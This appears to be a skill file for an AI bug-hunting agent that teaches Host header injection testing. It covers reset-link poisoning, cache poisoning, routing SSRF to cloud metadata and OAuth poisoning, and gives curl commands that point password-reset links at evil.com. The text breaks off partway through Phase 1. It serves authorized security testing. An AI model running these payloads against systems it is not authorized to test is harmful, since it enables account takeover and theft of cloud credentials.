$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-host-headerHunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer
| 1 | # HUNT-HOST-HEADER — Host Header Injection |
| 2 | |
| 3 | ## Grounding / Provenance |
| 4 | |
| 5 | This skill is built from the public Host-header attack literature, not invented payloads. |
| 6 | Cite the *technique source* in your report, never a fabricated ID: |
| 7 | |
| 8 | - **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era |
| 9 | "Practical HTTP Host header attacks" (the Django `request.get_host()` → password-reset-link |
| 10 | case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style |
| 11 | allowlist. Cite the framework + the reflected-Host behaviour you actually observed. |
| 12 | - **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research, |
| 13 | James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). |
| 14 | These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning. |
| 15 | - **Routing-based SSRF** — PortSwigger Research, "Cracking the lens" / routing-based SSRF |
| 16 | (Host header steers the front-end's upstream selection). |
| 17 | |
| 18 | When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT |
| 19 | on a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not |
| 20 | verified — a missing citation is always better than a wrong one. |
| 21 | |
| 22 | --- |
| 23 | |
| 24 | ## Crown Jewel Targets |
| 25 | |
| 26 | Host header injection that reaches password reset links = Critical (ATO for any user). |
| 27 | |
| 28 | **Highest-value chains:** |
| 29 | - **Password reset poisoning → ATO** — server builds the reset link from the request Host; |
| 30 | attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker → |
| 31 | token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting* |
| 32 | their own reset leaks the token to evil.com. |
| 33 | - **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects |
| 34 | an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned |
| 35 | entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass. |
| 36 | - **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream; |
| 37 | `Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target |
| 38 | → cloud metadata / internal admin panels. |
| 39 | - **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` / |
| 40 | `X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge |
| 41 | ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.) |
| 42 | - **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc → |
| 43 | auth-code or token theft → ATO. |
| 44 | |
| 45 | --- |
| 46 | |
| 47 | ## Attack Surface Signals |
| 48 | |
| 49 | ``` |
| 50 | Any password reset / forgot-password / email-verification / invite endpoint |
| 51 | Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy) |
| 52 | OAuth/OIDC authorization + /.well-known/openid-configuration endpoints |
| 53 | Absolute URLs constructed from request Host (set-password links, share links, webhooks) |
| 54 | Email-sending endpoints (transactional mail, notifications) |
| 55 | Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies) |
| 56 | ``` |
| 57 | |
| 58 | **Dangerous header candidates (unkeyed / trusted inputs):** |
| 59 | ``` |
| 60 | Host X-Forwarded-Host X-Host |
| 61 | X-Forwarded-Server X-HTTP-Host-Override Forwarded |
| 62 | X-Original-URL X-Rewrite-URL X-Override-URL (path-override class) |
| 63 | ``` |
| 64 | |
| 65 | --- |
| 66 | |
| 67 | ## Step-by-Step Hunting Methodology |
| 68 | |
| 69 | > Always test against **your own** registered test account. Never request another user's reset. |
| 70 | |
| 71 | ### Phase 1 — Password Reset Poisoning |
| 72 | |
| 73 | ```bash |
| 74 | # 1a. Override Host directly |
| 75 | curl -s -X POST https://$TARGET/forgot-password \ |
| 76 | -H "Host: evil.com" \ |
| 77 | -H "Content-Type: application/json" \ |
| 78 | -d '{"email":"your-test-account@target.com"}' |
| 79 | |
| 80 | # 1b. X-Forwarded-Host (behind reverse proxy that trusts it) |
| 81 | curl -s -X POST https://$TARGET/forgot-password \ |
| 82 | -H "Host: $TARGET" \ |
| 83 | -H "X-Forwarded-Host: evil.com" \ |
| 84 | -d "email=your-test-account@target.com" |
| 85 | |
| 86 | # 1c. Host + X-Forwarded-Host combo, and X-Host |
| 87 | curl -s -X POST https://$TARGET/forgot-password \ |
| 88 | -H "Host: $TARGET" -H "X-Host: evil.com" \ |
| 89 | -d "email=your-test-account@target.com" |
| 90 | |
| 91 | # 1d. Dual-Host / Host override |